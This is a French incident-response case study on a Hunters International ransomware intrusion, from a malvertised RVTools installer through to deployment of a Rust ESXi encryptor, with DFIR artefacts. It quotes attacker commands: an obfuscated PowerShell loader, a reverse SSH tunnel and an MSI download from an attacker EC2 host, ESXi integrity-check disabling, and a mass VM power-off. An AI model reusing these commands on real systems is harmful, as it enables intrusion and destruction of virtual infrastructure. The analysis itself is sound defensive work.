Etude de cas : Comment Hunters International et ses affiliés ciblent vos hyperviseurs

Rédigé par Théo Letailleur - 05/03/2025 - dans CSIRT - Téléchargement

Hunters International est un groupe de Ransomware-as-a-Service (RaaS) apparu en octobre 2023, après avoir acquis le code source et l'infrastructure du groupe Hive, aujourd'hui démantelé. À ce jour, selon les statistiques publiées, Hunters International et ses affiliés ont « chassé » au moins 280 organisations, exfiltrant et/ou chiffrant leurs données. Cet article décrira leurs capacités dans le cadre d'une investigation ransomware que nous avons traitée, en mettant l'accent sur le déploiement à grande échelle d'un chiffreur VMware ESXi.

Introduction

Un peu d'histoire. En janvier 2023, une opération conjointe1 entre Europol et le FBI a permis de démanteler le groupe de ransomwares Hive. Aucune arrestation n'a été effectuée, mais leur infrastructure Ransomware-as-a-Service (RaaS) a été saisie et fermée. Ensuite, il semble que le groupe Hive ait cessé ses activités et vendu ses actifs restants (le code source des souches ransomware et le site web) à un autre groupe, Hunters International. En octobre 2023, plusieurs sources ont relevé un chevauchement de code entre les échantillons de ransomware de Hunters International et ceux de Hive. Le groupe Hunters International, estimant qu'il était nécessaire de clarifier, a déclaré avoir acquis les codes sources de Hive, mais qu'il n'était pas le successeur de ce dernier.

Depuis, ce nouveau groupe de RaaS a pris de l'ampleur et a compromis des centaines d'organisations, se concentrant davantage sur l'exfiltration de données que sur le chiffrement. Ils ne semblent pas cibler des régions ou des secteurs spécifiques. Cependant, selon la carte mondiale des victimes de Hunters International2 mise à jour par ransomware.live, le groupe semble éviter une vaste région de l'Eurasie.

Le CSIRT de Synacktiv a observé une compromission impliquant un ransomware ESXi de Hunters International, une nouvelle variante apparue après l'été 2024. Cet article décrira les principales étapes de l'attaque déterminées lors de l'investigation, de l'accès initial via le malvertising à l'exfiltration réussie et au déploiement du ransomware. Nous allons ensuite décortiquer leur échantillon de ransomware ESXi développé en Rust, car il implémente des fonctionnalités intéressantes et une capacité d'obfuscation.

Étapes principales de l'attaque

Accès initial et persistance

Un administrateur système a téléchargé RVTools, une application .NET qui interagit avec vSphere pour lister les informations sur les machines virtuelles et l'infrastructure générale de VMware3. Et là, c'est le drame... Malheureusement, le téléchargement a été effectué via un site web malveillant, promu par malvertising4, ce qui a conduit au téléchargement et à l'exécution d'un installeur RVTools.exe trojanisé, délivrant un RAT appelé SMOKEDHAM.

SMOKEDHAM est une backdoor Powershell .NET qui contacte périodiquement son serveur de commande et de contrôle pour exécuter des commandes PowerShell. Plusieurs rapports indiquent qu'elle a été utilisée par UNC24655, un affilié RaaS précédemment associé aux groupes Lockbit et Darkside. Ces deux groupes ont cessé leurs activités en raison d'opérations réussies des forces de l'ordre. UNC2465 pourrait-il désormais être un affilié de Hunters International ? L'hypothèse est tentante, mais il pourrait également s'agir d'un autre affilié utilisant les mêmes techniques.

L'installateur RVTools trojanisé intègre un script NSIS SETUP.nsis. Les étapes principales sont les suivantes :

  1. Exécution de l'installateur légitime RVTools.msi
  2. Déchiffrement GPG d'une archive protégée par mot de passe UpdateFull.7z et copie de fichiers vers C:\ProgramData\Microsoft\LogUpdateWindows et C:\ProgramData\Microsoft\WindowsUpdate24:
    1. C:\ProgramData\Microsoft\WindowsUpdate24:
      1. oleview.exe : programme légitime Microsoft6 chargeant aclui.dll
      2. aclui.dll : DLL malveillante chargeant la backdoor SMOKEDHAM depuis kautix2aeX.t
      3. aclui-2.dll : DLL malveillante chargeant la seconde backdoor SMOKEDHAM depuis C:\ProgramData\Microsoft\LogUpdateWindows\Wiaphoh7um.t
      4. kautix2aeX.t : backdoor SMOKEDHAM
      5. RVTools.msi : installeur légitime RVTools, version 2.6.1
      6. Cert.txt : fichier vide utilisé comme mutex
    2. C:\ProgramData\Microsoft\LogUpdateWindows:
      1. oleview.exe
      2. aclui.dll : même fichier que C:\ProgramData\Microsoft\WindowsUpdate24\aclui-2.dll
      3. Wiaphoh7um.t: seconde backdoor SMOKEDHAM
  3. Obtention de la persistance en écrivant une nouvelle valeur de registre UpdateOleview dans la clé HKLM Run, exécutant oleview.exe depuis le dossier LogUpdateWindows.
  4. Enfin, exécution de C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exe avant de terminer.

Une fois oleview.exe exécuté, il charge le fichier malveillant aclui.dll. Cette DLL appelle sa fonction d'export ExecuteScript pour exécuter la commande PowerShell suivante (les retours à la ligne ont été ajoutés pour plus de clarté) :

powershell.exe -windowstyle Hidden -command "SV 4p 'Net.WebClient';
Set-Variable n 'C:\ProgramData\Microsoft\WindowsUpdate24\kautix2aeX.t';
dir ect*;
Set-Item Variable:/W (.(Variable Ex*xt).Value.InvokeCommand.GetCommand((Variable Ex*xt).Value.InvokeCommand.(((Variable Ex*xt).Value.InvokeCommand|Get-Member|?{$_.Name-ilike'*Com*e'}).Name).Invoke('N*ct',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)(Get-Variable 4p -Valu));
SV IXq ((((Variable W).Value|Get-Member)|?{$_.Name-ilike'D*g'}).Name);
(Variable W).Value.((LS Variable:\IXq).Value).Invoke((GCI Variable:/n).Value)|.(Variable Ex*xt).Value.InvokeCommand.GetCmdlet((Variable Ex*xt).Value.InvokeCommand.(((Variable Ex*xt).Value.InvokeCommand|Get-Member|?{$_.Name-ilike'*Com*e'}).Name).Invoke('*e-*press*',1,$TRUE));"

Cette commande PowerShell exécute en fait :

  • Net.WebClient.DownloadString("C:\ProgramData\Microsoft\WindowsUpdate24\kautix2aeX.t") | Invoke-Expression

La commande charge et exécute le contenu du fichier kautix2aeX.t.

Le fichier kautix2aeX.t contient le code source C# de la backdoor SMOKEDHAM, qui est stockée dans une variable PowerShell chiffrée. Le fichier Wiaphoh7um.t, déclenché par la valeur de clé Run UpdateOleview, contient également le code source de la backdoor SMOKEDHAM, mais avec des noms d'hôtes de Commande et Contrôle différents.

Nous ne nous attarderons pas davantage sur cette backdoor dans cet article, car TRAC Labs a déjà publié un excellent article7 en novembre 2024, décrivant en détail la même chaîne d'infection :

Infection chain from trojanised installer
Chaîne d'infection de l'installeur trojanisé, tiré de l'article de TRAC Labs

Le but de la backdoor SMOKEDHAM est de recevoir périodiquement des commandes depuis des domaines de workers Cloudflare (*.workers.dev), qui servent en réalité à masquer le véritable serveur de commande et de contrôle derrière eux.

Collecte d'identifiants

À ce stade, le poste de travail de l'administrateur système était entièrement compromis. Quelques minutes après la livraison réussie de SMOKEDHAM, un outil de surveillance des employés appelé Grabber a été installé à l'aide du fichier grem.msi. Le fichier MSI crée un nouveau service, appelé ngs, pour rendre l'agent Grabber persistant :

AccountName: LocalSystem
ImagePath: C:\Program Files\TeleLinkSoftHelper\bin\grabber.exe
ServiceName: ngs
ServiceType: user mode service
StartType: auto start

C'est la première fois que nous observons un tel outil légitime utilisé par les attaquants. Selon l'éditeur Kickidler8, Grabber peut :

  • Effectuer des enregistrements de frappes de clavier, d'écran en direct et d'audio,
  • Capturer des pages web, le presse-papiers, les programmes installés,
  • Contrôle à distance : blocage de la souris et du clavier (???)

Que pourrait-il mal se passer avec ce genre d'outil ? Dans ce scénario, les attaquants ont probablement exploité les fonctionnalités intéressantes de KickIdler Grabber pour espionner cet administrateur pendant des semaines, effectuant des actions de reconnaissance et collectant patiemment des identifiants. Après LOLRMM9, créons un LOLREM (Remote Employee Monitoring) pour les outils de surveillance des employés à distance ! KickIdler Grabber est certainement un excellent candidat.

En ce qui concerne les traces, des journaux sont générés dans C:\Program Files\TeleLinkSoftHelper\log, mais ils ne révèlent pas beaucoup d'informations sur les actions réalisées à distance. Grabber mériterait cependant un article de forensique dédié, car il est probablement utilisé dans d'autres intrusions.

Mouvement latéral

Plusieurs semaines après la compromission du poste de travail de l'administrateur, les attaquants ont décidé de migrer vers les serveurs internes. Pour effectuer ce mouvement latéral, ils ont utilisé Kitty10⁣ – un utilitaire client SSH, variant de PuTTY – renommé fork.exe et placé dans C:\ProgramData\forw. Un tunnel SSH inverse a été configuré vers un serveur AWS EC2 contrôlé par les attaquants, leur permettant d'initier des connexions RDP vers des serveurs non exposés sur Internet, via le poste de travail de l'administrateur : 

powershell.exe -windowstyle hidden C:\programdata\forw\fork.exe -auto-store-sshkey -i C:\programdata\forw\aserkey.ppk -R 3340:10.10.11.12:3389 -l randusername -P 443 ec2-....us-east-2.compute.amazonaws.com

Les options en ligne de commande de Kitty sont les mêmes que celles d'un utilitaire client SSH. L'adresse IP, le nom d'utilisateur distant et le domaine EC2 ont été anonymisés. Le fichier de clé privée PuTTY (PPK) est utilisé pour authentifier le poste de travail compromis auprès du serveur EC2. Le diagramme suivant illustre l'objectif de ce tunnel SSH inverse :

Reverse SSH tunnel to perform RDP on internal network
Tunnel SSH inverse pour effectuer une connexion RDP vers le réseau interne

Quelques minutes plus tard, les attaquants ont initié une connexion RDP sur le serveur "CRITICAL_SERVER" en utilisant le compte local Administrator. Conseil DFIR : sur le serveur Windows ciblé, l'évènement Microsoft-Windows-TerminalServices-LocalSessionManager ID 21 indique une connexion depuis le poste de travail de l'administrateur (son adresse IP), mais l'évènement Securité ID 4624 associé (type 3)  montre le nom du poste de travail de l'attaquant, et non celui de l'administrateur. Ce qui montre bien que la connexion RDP a été initiée à travers ce tunnel SSH :

Channel: Microsoft-Windows-TerminalServices-LocalSessionManager/Operational
EventID: 21 # Connexion RDP
Address: <adresse IP du poste admin>
SessionID: 2
User: CRITICAL_SERVER\Administrator

Channel: Security
EventID: 4624 # Authentification réussie
IpAddress: <adresse IP du poste admin>
LogonType: 3 # Remote
TargetDomainName: CRITICAL_SERVER
TargetUserName: Administrator
WorkstationName: DESKTOP-35SS9C8 # poste de travail côté attaquant 

Lors de la première session RDP, la backdoor SMOKEDHAM a été installée dans C:\ProgramData\Microsoft\LogUpdateWindows pour assurer le contrôle à distance. La valeur de la clé RUN UpdateWindowsKey, exécutant oleview.exe, a été configurée pour assurer la persistance. La session RDP se termine peu après.

Après cette session, nous avons observé que le poste de travail de l'administrateur n'était plus utilisé par les attaquants, car ils avaient pivoté vers une cible plus importante. En utilisant la backdoor SMOKEDHAM, Kitty a été installé sur CRITICAL_SERVER et utilisé de la même manière qu'auparavant, pour initier des connexions RDP localement et vers d'autres serveurs internes.

Quelques jours plus tard, Grabber a été installé sur le serveur en utilisant la commande suivante :

$clients2 = new-object System.Net.WebClient;
$clients2.DownLoadFile('http://ec2-....us-east-2.compute.amazonaws.com/9bjJ1bD1JR/grabberEM.x64%281%29.msi',"C:\ProgramData\grem.msi");
C:\Windows\System32\msiexec.exe /i C:\ProgramData\grem.msi /l*x c:\programdata\log.txt /quiet

L'instance EC2 hébergeant le fichier MSI de Grabber est la même que celle utilisée pour recevoir la connexion SSH.

Enfin, Splashtop Remote Service12, un outil de configuration et de gestion à distance (RMM), a également été installé en utilisant la même technique. Il a probablement été configuré comme méthode de secours pour l'accès à distance, car aucune preuve de son utilisation n'a été observée.

Exfiltration

Deux semaines après le mouvement latéral sur CRITICAL_SERVER, les attaquants ont initié une connexion RDP vers le serveur de fichiers de l'entreprise et installé Total Commander13, un utilitaire de gestion de fichiers. Les Shellbags ont montré des preuves que Total Commander a été utilisé pour parcourir plusieurs partages de fichiers hébergés par le serveur. De plus, son plugin 7zip a été utilisé pour archiver la plupart des partages.

Quelques heures plus tard, WinSCP Portable a été téléchargé et exécuté pour exfiltrer les archives vers un serveur distant. Le domaine du serveur d'exfiltration n'a pas pu être déterminé, car les attaquants ont supprimé le dossier WinSCP après l'exfiltration. Cependant, des traces montrent qu'ils se sont authentifiés sur le serveur d'exfiltration en utilisant une clé privée PuTTY nommée files_amazon_ser(1).ppk, ce qui pourrait indiquer une exfiltration via SFTP vers un bucket AWS S3. Cela serait cohérent avec l'utilisation d'instance EC2 plus tôt dans l'attaque.

Une fois l'exfiltration réussie, les attaquants ont supprimé les archives.

Chiffrement

Le jour suivant l'exfiltration, les attaquants ont commencé à déployer le ransomware, ciblant l'infrastructure VMware. Sur CRITICAL_SERVER, les actions séquentielles suivantes ont été observées :

  • Nouvelle session RDP via un tunnel SSH
  • Désactivation de Defender
  • Création de l'archive WinSCP-6.3.6-Automation.zip (depuis le presse-papiers RDP), dézippée dans un nouveau dossier C:\ProgramData\worklab1\work_winscp. WinSCP Automation14 fournit une interface .NET à des fins de scripting.
  • Création de l'archive enc64.zip, dézippée dans le même dossier et contenant trois fichiers :
    • ip_list.txt : contient des domaines et adresses IP des hyperviseurs ESXi
    • enc64 : ransomware ESXi
    • full_1.ps1 : script PowerShell déployant enc64 vers la liste d'hyperviseurs
  • Installation du module VMWare PowerCLI : Install-Module -Name VMware.PowerCLI.
  • Exécution du script de déploiement full_1.ps1.

Le script PowerShell full_1.ps1, qui compte 400 lignes (avec commentaires !), utilise VMware PowerCLI pour interagir avec les serveurs ESXi via vCenter et exploite les capacités de script de WinSCP Automation pour copier et exécuter le ransomware via SSH :

  1. Connexion à vCenter via Connect-VIServer
  2. Liste des domaines et des adresses IP des ESXi ciblés, basée sur le contenu du fichier ip_list.txt
  3. Chargement de WinSCP-6.3.6-Automation\WinSCPnet.dll pour utiliser les capacités de scripting de WinSCP
  4. Pour chaque hyperviseur dans la liste :
    1. Démarrage du service TSM-SSH sur le serveur ESXi : Get-VMHostService -VMHost $vmHost | Where-Object { $_.Key -eq "TSM-SSH" } | Start-VMHostService
    2. Copie SSH (scp) de enc64 vers /usr/enc64 via la cmdlet WinSCP.Session
    3. Utilisation de la session WinSCP pour exécuter les commandes à distance suivantes :
      1. esxcli system settings advanced set -o /User/execInstalledOnly -i 0 : désactive la vérification d'intégrité des programmes.
      2. chmod 777 /usr/enc64 : Attribue des droits complets à /usr/enc64 pour garantir qu'il puisse être exécuté.
      3. /usr/enc64 -w $(Get-Seconds-To-UTC -TargetUTCTime $TargetUTCTime) > /dev/null 2>&1 & : exécution différée du ransomware. Dans le cas observé, l'exécution du ransomware était planifiée le jour suivant, à minuit.
  5. Sortie de commande enregistrée dans /usr/command_output.log. Le script se termine par le téléchargement et la suppression à distance de ce fichier.

Le script génère et combine les journaux localement dans le fichier C:\ProgramData\worklab1\work_winscp\combined_logs.txt, qui n'ont pas été supprimés après le déploiement. Lors de l'investigation, ces journaux ont fourni des informations précieuses sur les serveurs ESXi impactés et les commandes exécutées.

Il a également été déterminé que le déploiement manuel du ransomware ESXi avait eu lieu, cette fois en utilisant l'outil PuTTY15.

Enfin, les attaquants ont mis fin à leur session RDP sur CRITICAL_SERVER, marquant leur dernière opération sur l'infrastructure compromise.

Ransomware ESXi

Informations basiques

Échantillon Hunters International ESXi
SHA256

5678a4c963313a7aedb50ba582558edfe294f55404d142282d1988325feea80e

Type de fichier ELF 64-bit LSB pie executable, x86-64
Taille du fichier 704984 octets
Menace Ransomware ESXi

L'échantillon est un exécutable compilé en Rust sans symboles, à l'exception de certaines chaînes de caractères révélant l'utilisation de la bibliothèque crossterm16. Le chemin du projet source de ce ransomware peut également être récupéré, ce qui donne un indice sur son comportement potentiel : vmware_encrypt/src/main.rs. Toutes les chaînes utilisées dans le code sont obfusquées. Deux autres échantillons similaires ont été identifiés par le chercheur en malware rivitna17:

  • fd84d3b96139d386d3d182ff3571e7dce8a7edaebfed3f432c71c4d8b69bd63f
  • acbb316b2cbfdd4311ba884f4fb721a022c9b1e413dd910986f149bdffa784d3

Obfuscation

Notre analyse suggère que les développeurs ont probablement utilisé la bibliothèque Rust obfstr18 pour obfusquer les chaînes de caractère au moment de la compilation. Bien qu'il n'y ait aucune mention explicite de cette bibliothèque dans l'échantillon, la façon dont les chaînes obfusquées sont récupérées dans le code ressemble fortement à l'algorithme utilisé dans obfstr.

Description de obfstr

En pratique, l'obfuscation des chaînes de caractère avec obfstr est simple :

use obfstr::obfstr as s;
s!("Cette chaîne est obfusquée à la compilation et désobfusquée avant son utilisation dans le code à l'exécution");

Cette technique d'obfuscation à la compilation utilise d'abord un chiffrement basé sur XOR avec une clé pseudo-aléatoire générée à partir d'une seed. La clé est créée à la compilation, et la chaîne est obfusquée en appliquant un XOR entre les octets de la chaîne et les octets de la clé. Ensuite, l'obfuscation des pointeurs est appliquée à la chaîne chiffrée, en utilisant un offset pseudo-aléatoire et des opérations mathématiques sélectionnées à partir d'une seed pseudo-aléatoire, protégeant ainsi sa référence statique dans le binaire.

Les étapes principales de l'algorithme d'obfuscation implémenté dans la macro obfstr! (ou obfbytes!) sont les suivantes :

  1. Génération de la clé (à la compilation) : Les clés pour chaque chaîne de caractère constante sont générées à la compilation en utilisant un simple générateur pseudo-aléatoire (XorShift) basé sur différents paramètres du code source.
  2. Obfuscation de la chaîne de caractère (à la compilation) : chiffrement XOR de la constante en appliquant un XOR sur chaque octet de la chaîne avec l'octet correspondant de la clé générée à l'étape précédente.
  3. Obfuscation de la référence (à la compilation) : La référence statique (valeur du pointeur) de la constante chiffrée est obfusquée de la manière suivante :
    1. Génération d'un offset et d'une seed aléatoires,
    2. Effectue une opération simple sur le pointeur : pointeur = pointeur - obfuscate(seed,offset) + obfuscate(seed,offset). Cette opération paraît inutile, mais résulte en l'obfuscation du pointeur en deux parties : 
      1. obfuscated_pointer = pointeur - obfuscate(seed,offset): La différence est calculée à la compilation
      2. pointeur = obfuscated_pointer + obfuscate(seed,offset): La somme est calculée à l'exécution
      3. De cette manière, la référence finale de la chaîne chiffrée ne peut pas être directement récupérée grâce à la fonction obfuscate décrite ci-dessous
    3. obfuscate(seed,offset) : Fonction effectuant 5 opérations choisies aléatoirement parmi 8 (en fonction de la seed) pour obfusquer l'offset aléatoire et retourner ses deux premiers octets (probablement pour éviter des valeurs négatives). Avant chaque opération, un mixage de bits est appliqué à la seed. Huit différentes opérations peuvent être sélectionnées :
      1. offset + seed
      2. seed - offset
      3. offset ^ seed
      4. offset ^ Rol(offset, seed&7)
      5. Not(offset)
      6. offset ^ (offset >> seed)
      7. offset * seed
      8. Neg(offset)
  4. Désobfuscation (à l'exécution) : Quand le programme a besoin d'accéder à la chaîne de caractère pendant l'exécution, sa référence est calculée et sa valeur déchiffrée :
    1. La chaîne chiffrée (XOR) est stockée dans le programme compilé,
    2. La référence pointant vers la chaîne dans le code est obfusquée avec des opérations pseudo-aléatoires
    3. Pendant l'exécution, la fonction deobfuscate retrouve la référence statique de la chaîne chiffrée (en calculant pointeur = obfuscated_pointer + obfuscate(seed,offset)), puis applique l'opération XOR de nouveau en utilisant la clé, ce qui permet de récupérer temporairement la chaîne en clair.

Pour empêcher l'optimisation des instructions LLVM et la résolution de constante par le compilateur LLVM, ce qui diminuerait l'efficacité de l'obfuscation, les fonctions standard de Rust hint::black_box et std::ptr::read_volatile sont également implémentées.

Ci-dessous un exemple du désassemblé et décompilé résultant de l'obfuscation de obfstr, lors de la récupération d'une chaîne de caractères spécifique :

String deobfuscation example
Exemple de récupération de chaîne de caractères

Dans cet exemple, 0x7b7c3 (loc_7b7bd+6) correspond à la référence obfusquée, et 0x2AB068 pointe vers l'offset aléatoire de 64-bit (0x9D1EE61086BA243B). On peut voir que les opérations sont effectuées sur l'offset, et que le résultat est ajouté à la référence obfusquée. Le pointeur résultant est déréférencé pour récupérer la chaîne chiffrée, ensuite XORée avec la clé pour obtenir : /vmfs/volumes.

Les chaînes de caractères sont résolues et accessibles temporairement, et non stockées dans une structure globale, ce qui complique davantage l'extraction de chaque chaîne en clair pendant le débogage.

Récupération des chaînes de caractères dans l'échantillon

Étant donné qu'il s'agit d'un programme Rust strippé, les informations récupérables sont limitées. Par conséquent, la récupération des chaînes de caractères devient essentielle pour comprendre les différentes parties du programme. De plus, nous avons rapidement déterminé que l'échantillon contenait environ 200 chaînes obfusquées, car les offsets aléatoires utilisés dans l'obfuscation des pointeurs sont stockés de manière séquentielle au début du segment DATA :

beginning of the xref offset table
Début de la table des offsets

Cette précieuse table nous a permis de récupérer toutes les références aux chaînes obfusquées dans le code, fournissant ainsi un point de départ pour récupérer automatiquement les chaînes en clair. Pour cela, nous avons bricolé un script Python qui utilise :

  • IDAPython, pour obtenir les références vers les offsets, renommer les symboles et indiquer les chaînes récupérées en clair dans les commentaires de l'IDB (IDA database),
  • Miasm + Z3, pour l'exécution symbolique et le calcul des opérations de désobfuscation des pointeurs et des instructions XOR entre la chaîne chiffrée et la clé.

Ce script, loin d'être parfait, nous a permis de retrouver la grande majorité des chaînes de caractère présentes dans cet échantillon, sans avoir à l'exécuter.

offset table recovery
Table des offsets après l'application du script de désobfuscation

Ce processus nous a permis de plus facilement retrouver les morceaux de code intéressants et déterminer son comportement.

Comportement de l'échantillon

Le comportement séquentiel suivant du ransomware ESXi a été déterminé :

  1. Vérification des options : Le ransomware Hunters International ESXi peut être exécuté avec plusieurs options en ligne de commande afin de modifier son comportement :
    arguments en ligne de commande
    -t, -threads, --threads Spécifie un nombre de threads
    -w, -wait, --wait Attend N secondes
    -E, -no-erase, --no-erase Ne remplit pas l'espace libre
    -S, -no-stop, --no-stop N'arrête pas les machines virtuelles
  2. Mise en veille : Si l'option wait est spécifiée, le programme attendra le nombre de secondes indiqué avant d'effectuer toute action sur le système
  3. Arrêt des VMs : Si le drapeau no stop n'est pas activé, le ransomware éteint les systèmes des machines virtuelles en exécutant la commande vim-cmd (interface vSphere en ligne de commande) suivante :

    vim-cmd vmsvc/getallvms 2>/dev/null | grep -o -E '^[0-9]+' | xargs -r -n 1 vim-cmd vmsvc/power.off 1>/dev/null 2>/dev/null

  4. Scan de fichiers : Un chemin vers un répertoire peut être spécifié en argument, afin de scanner les fichiers d'intérêt pour le chiffrement. Par défaut, le répertoire est /vmfs/volumes, qui est aussi le chemin par défaut des fichiers de machines virtuelles sur VMware ESXi. Le scan cherche les extensions de fichier suivantes :
    Types de fichier ciblés
    vmx vmdk vmss
    vmx~ vmxf vswp
    nvram vmem vmtx
    vmsd vmsn scoreboard
  5. Chiffrement des fichiers : Les fichiers identifiés pendant le scan précédent sont traités dans la fonction de chiffrement, découpée en plusieurs étapes :
    1. Charge deux clés publiques RSA (encodage DER) depuis l'échantillon,
    2. Vérifie si le fichier ciblé est déjà chiffré : un marqueur est ajouté à l'offset 52 (4 octets aléatoires suivis de 17 octets constants). Si le marqueur est détecté, le fichier est ignoré ; autrement le marqueur est écrit sur le fichier ciblé avant le chiffrement.
      1. Marqueur : 4 octets aléatoires + 37AAB83E1AC2D54B15D98D5260A7fD674B
    3. Implémente l'algorithme AES-256 CTR avec des clés et nonces aléatoires pour chiffrer 10 fois chaque bloc. Différents modes de chiffrement sont disponibles, celui utilisé dans cet échantillon est :
      1. Chiffrement du premier bloc de données (après le marqueur), jusqu'à 10 % de la taille du fichier (100 Mio max).
      2. Chiffrement des 100 Mio restants du fichier.
    4. Chiffrement RSA d'une structure de métadonnées contenant :
      1. L'offset indiquant l'emplacement des données chiffrées, qui doit être ajouté à l'offset du marqueur (52) et sa taille (21) pour obtenir le premier bloc de données chiffrées,
      2. Le mode de chiffrement,
      3. Les données en clair qui ont été remplacées par le marqueur,
      4. Les données des clés AES (10 clés et 10 nonces).
      5. La structure chiffrée de 640 octets (la taille de la clé RSA) est ajoutée à la fin du fichier chiffré.
  6. Remplissement de l'espace libre : Cette fonction crée un fichier buffer.swp dans un sous-dossier de /vmfs/volumes et le remplit de données aléatoires jusqu'à que la partition de l'hyperviseur soit remplie.

Le schéma suivant illustre la structure finale d'un fichier chiffré par cet échantillon :

Structure d'un fichier chiffré par le ransomware de Hunters international
Structure d'un fichier chiffré par le ransomware de Hunters international

Pendant l'exécution, le chiffreur affiche une interface utilisateur conviviale basée sur crossterm, montrant les étapes en cours, les statistiques des fichiers chiffrés et les erreurs potentielles :

crossterm interface during encryption
Interface Crossterm pendant le chiffrement

Aucune note de rançon n'est affichée ou écrite dans un fichier annexe.

Conclusion

Le groupe RaaS Hunters International a amassé un nombre considérable de trophées de chasse depuis octobre 2023 (280 à la date de cette rédaction), et nous souhaitions partager des informations sur les techniques, tactiques et procédures (TTP) employées par ses affiliés lors d'une compromission.

La backdoor SMOKEDHAM, livrée via du malvertising, est une technique intéressante pour obtenir un accès initial. Elle semble être distribuée via de faux installateurs d'outils d'administration tels que RVTools, Angry IP Scanner et DBeaver. Cette stratégie cible sans doute les administrateurs systèmes et réseaux, qui ont un accès légitime aux ressources critiques de l'entreprise.

Nous avons observé l'utilisation de deux outils personnalisés dans l'attaque : le ransomware ESXi et son script PowerShell de déploiement. Le script de déploiement utilise VMware PowerCLI et WinSCP Automation pour activer le service SSH sur les serveurs ESXi, déployer le ransomware et l'exécuter. Les capacités du ransomware ESXi de Hunters International sont assez similaires à celles d'autres chiffreurs ESXi : il arrête les machines virtuelles, les chiffre, puis remplit l'espace disque libre sur l'hyperviseur. Des options disponibles permettent de modifier le processus d'exécution, comme la possibilité de définir un minuteur (-w).

Les développeurs de cette souche de ransomware ESXi ont pris des mesures notables pour protéger leur code contre l'ingénierie inverse. Ils ont d'abord utilisé le langage de programmation Rust et ont supprimé les symboles lors de la compilation (en utilisant l'option strip de cargo). De plus, ils ont implémenté la bibliothèque open-source obfstr, qui obfusque efficacement les chaînes utilisées dans le projet Rust. Cette obfuscation rend difficile la récupération des chaînes en clair par une analyse automatisée. Étant donné la simplicité avec laquelle il est possible d'obfusquer les chaînes avec obfstr, il ne me surprendrait pas que d'autres développeurs de malwares basés sur Rust adoptent cette approche.

Coin DFIR

Infrastructure et outils principaux observés et utilisés par l'acteur malveillant :

  • Outils :
    • Trojanised RVTools NSIS installer
    • SmokedHam backdoor
    • KickIdler Grabber
    • SplashTop Remote Service
    • Kitty
    • TotalCommander
    • WinSCP / WinSCP Automation
    • Putty
    • VMWare.PowerCLI Powershell module
    • Hunters International ESXi ransomware
  • Infrastructure :
    • Cloudflare Workers (SmokedHam C2)
    • AWS EC2 instance
    • Probablement AWS S3 bucket

Événements et traces principales (qui ont pu être exploités) montrant une preuve de compromission :

  • Authentification, mouvement latéral :
    • Security Event ID 4624 Logon Type 3 et 10
    • TerminalServices-LocalSessionManager Event ID 21, 24, 25
    • RDPClient EventID 1024, 1102, 1026
  • Installation d'outils, création et suppression de fichiers :
    • Système de fichier : MFT et journal USN
    • Application MsiInstaller : EventID 1033, 1040, 1042 (chemin du fichier MSI exécuté) et 11707 (nom du produit, status d'installation)
    • ruche registre SYSTEM : Microsoft\Windows\CurrentVersion\Uninstall
    • Base de données du profil Firefox
  • Fichiers et dossiers ouverts :
    • NTUser hive, fichiers récents : Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
    • UsrClass Shellbags : Software\Microsoft\Windows\Shell\BagMRU
  • Exécution :
    • Powershell EventID 400, 403, 4104
    • Fichiers Powershell ConsoleHost_history
    • Security EventID 4688
    • AmCache
    • UserAssist
  • Persistance :
    • Ruche registre SOFTWARE : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    • Ruche registre SYSTEM : HKLM\ControlSet001\Services\ngs and HKLM\ControlSet001\Services\SplashtopRemoteService
    • System EventID 7045 (création de service)
    • Security EventID 4720, 4722, 4732 (création d'utilisateur, ajouté au groupe built-in Administrators)
  • Evasion de la défense :
    • Windows Defender EventID 5001, 5007
  • Traces ESXi :
    • auth.log : journaux d'authentification (méthodes, IP/port source, utilisateur)
    • esxcli.log : commandes exécutées avec l'utilitaire esxcli (principalement des erreurs journalisées)
    • shell.log : preuve de login SSH et exécution de commandes shell (preuve d'exécution du ransomware)
    • vpxa.log : vpxa19 est un service intermédiaire interconnectant vCenter et l'hôte ESXi. Ces journaux indiquent le changement de statut du service TSM-SSH.
    • Timeline du système de fichier VMFS en utilisant la commande stat.

 

Si une organisation a besoin d'assistance pour lever des doutes ou répondre à une compromission, n'hésitez pas à contacter Synacktiv.